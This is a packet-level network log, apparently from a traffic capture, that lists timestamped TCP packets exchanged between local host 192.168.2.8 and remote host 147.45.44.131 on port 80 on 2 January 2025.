Jan 2, 2025 19:14:19.270452976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270473957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270479918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270487070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270492077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270498037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270509958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.270570040 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.270653963 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.308804035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308813095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308820963 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308878899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308883905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308891058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308896065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308902025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308953047 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.308960915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308974981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308980942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.308993101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309005976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309010983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309017897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309024096 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309024096 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309057951 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309582949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309588909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309595108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309668064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309673071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309679985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309694052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309709072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309712887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309734106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309734106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309775114 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309828043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309834957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309851885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309858084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309890985 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309916019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309928894 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309959888 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.309990883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.309997082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310013056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310018063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310029030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310034037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310039043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310045004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310061932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310067892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310074091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310080051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310082912 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310086012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310092926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310101032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310105085 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310106039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310137987 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310137987 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310157061 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310231924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310245037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310250998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310257912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310265064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310271978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310276985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310297012 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310322046 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310352087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310358047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310364008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310396910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310403109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310404062 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310421944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310431004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310436010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310467005 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310501099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310503006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310528994 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310534000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310553074 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310585976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310587883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310595036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310600996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310606956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310621977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310647964 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310669899 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310883999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310890913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310894966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310900927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310905933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310910940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310916901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310920954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310926914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310935974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.310960054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.310992956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311029911 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311043024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311110973 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311113119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311120033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311125994 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311131954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311136961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311142921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311148882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311155081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311161041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311166048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311167002 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311177015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311180115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311186075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311217070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311245918 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311816931 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311822891 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311872959 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311877012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311943054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.311976910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.311990976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312000036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312014103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312057018 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.312063932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312064886 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.312072039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312083960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312092066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312127113 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.312141895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312150955 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312154055 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.312165022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312172890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312180996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.312205076 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.312223911 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.313146114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313215017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313220978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313227892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313232899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313236952 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.313240051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313246965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.313280106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.313371897 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.361239910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361248016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361254930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361259937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361265898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361272097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361278057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.361324072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.361361980 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.399516106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399525881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399537086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399581909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399588108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399594069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399600983 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.399609089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399622917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399629116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399635077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399646997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399652004 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.399652004 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.399661064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399667025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399672985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399678946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.399693966 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.399729013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400408983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400415897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400420904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400446892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400453091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400460005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400477886 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400511980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400512934 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400517941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400523901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400530100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400535107 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400573969 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400584936 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400620937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400626898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400634050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400639057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400645018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400649071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400655031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400686979 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400717974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400722980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400728941 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400728941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400738001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400747061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400770903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400774002 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400777102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400784016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400795937 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400831938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400840998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400846958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400846958 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400876045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400882006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400887966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400898933 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400907040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400913000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400923967 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400950909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400974035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400980949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400986910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.400990009 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.400993109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401001930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401016951 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401066065 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401283979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401289940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401294947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401310921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401316881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401320934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401326895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401334047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401338100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401350975 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401387930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401387930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401403904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401412964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401417971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401422977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401427984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401468039 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401487112 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401520967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401526928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401537895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401549101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401554108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401560068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401597977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401597977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401617050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401623964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401629925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401638031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401644945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401645899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401685953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401691914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401698112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401700020 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401704073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401732922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401738882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401745081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401746988 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401746988 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401765108 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401797056 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401814938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401922941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401937962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401942968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401978970 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401985884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.401988983 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.401993036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402005911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402036905 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.402690887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402749062 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.402770996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402776003 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402790070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402791977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402792931 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402796030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402801991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402818918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402825117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402829885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402836084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402837038 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.402873039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402878046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.402892113 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.402916908 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.404038906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404043913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404084921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404088974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404094934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404105902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404112101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404129982 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.404129982 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.404150009 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.404236078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404320955 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.404412031 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.495171070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.495192051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.495207071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.495213985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.495219946 CET	80	49704	147.45.44.131	192.168.2.8
